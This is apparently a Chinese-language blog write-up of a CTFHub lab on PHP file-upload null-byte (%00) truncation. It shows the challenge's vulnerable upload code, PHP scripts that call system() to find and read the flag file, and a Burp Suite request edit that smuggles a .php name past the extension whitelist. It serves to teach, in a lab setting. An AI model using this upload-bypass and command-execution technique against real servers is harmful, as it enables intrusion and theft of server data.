要么改变世界,要么适应世界

php文件上传00截断

2022-06-25 22:52:26
1202
目录

0x00%00/00之类的截断,本质都是一样的,只是不同的表示形式而已。就比如女朋友、女票。

在网站url中,%00会被解码成0,而在ascii中,0是一个特殊字符(并不是字符'0'),表示字符串结束,因此如果url中出现了%00,则意味着解码完毕。

如:

https://www.yalexin/?file=test.txt

此时输出的是test.txt

如果换成:

https://www.yalexin/?file=test.php%00.txt

则此时输出的是test.php

让我们来看一道例题:

ctfhub 技能树-web-文件上传-00截断

打开场景后是一个上传文件的页面,查看源代码如下:

<script>alert('上传成功')</script><!DOCTYPE html>
<html>

<head>
    <meta charset="UTF-8">
    <title>CTFHub 文件上传 - 00截断</title>
</head>

<body>
    <h1>CTFHub 文件上传 - 00截断</h1>
    <form action=?road=/var/www/html/upload/ method="post" enctype="multipart/form-data">
        <label for="file">Filename:</label>
        <input type="file" name="file" id="file" />
        <br />
        <input type="submit" name="submit" value="Submit" />
    </form>
<!--
if (!empty($_POST['submit'])) {
    $name = basename($_FILES['file']['name']);
    $info = pathinfo($name);
    $ext = $info['extension'];
    $whitelist = array("jpg", "png", "gif");
    if (in_array($ext, $whitelist)) {
        $des = $_GET['road'] . "/" . rand(10, 99) . date("YmdHis") . "." . $ext;
        if (move_uploaded_file($_FILES['file']['tmp_name'], $des)) {
            echo "<script>alert('上传成功')</script>";
        } else {
            echo "<script>alert('上传失败')</script>";
        }
    } else {
        echo "文件类型不匹配";
    }
}
-->
</body>

</html>

可以看到源代码中,先是看一下文件的类型是不是在白名单内(即只能上传图片类型),文件类型通过以后,解析road参数值,然后拼接到一个随机数字以及日期作为文件名并上传到指定目录。

经过简单地分析以后,大概知道了思路:使用代理,写一个php脚本,将其扩展名改为图片类型,然后截取数据包、修改数据包,访问我们上传的脚本。

首先查找flag可能的位置:

<?php

system('find / | grep flag')

?>

将其文件保存为hack.png

然后开启代理,打开Burp Suite软件,并将拦截器(intercept)打开

在浏览器中上传我们刚刚的hack.png

然后我们会在Burp中看到该数据报,我们尝试将

POST /?road=/var/www/html/upload/ HTTP/1.1

改为:

POST /?road=/var/www/html/upload/hack.php%00 HTTP/1.1

然后点击forward

上传成功以后,我们访问该脚本:

/upload/hack.php

果然看到了一些内容:

/sys/devices/platform/serial8250/tty/ttyS0/flags /sys/devices/platform/serial8250/tty/ttyS1/flags /sys/devices/pci0000:00/0000:00:03.0/virtio0/net/eth0/flags /sys/devices/virtual/net/lo/flags /sys/devices/virtual/net/dummy0/flags /sys/module/scsi_mod/parameters/default_dev_flags /proc/kpageflags /usr/lib/perl/5.14.2/auto/POSIX/SigAction/flags.al /usr/lib/perl/5.14.2/bits/waitflags.ph /var/www/html/flag_139938352.php

最后的就是我们想要的内容。要读取该文件。

修改我们的脚本hack.php

<?php

system('cat ../flag_139938352.php')//注意,该脚本最终会上传到/var/www/html/upload 文件夹下,因此要回到上一级目录读取 flag

?>

按照刚刚的方法继续上传即可读取该内容(注意:我们访问hack.php的时候会遇到空白页面,右键查看源码即可看到flag)。

历史评论
开始评论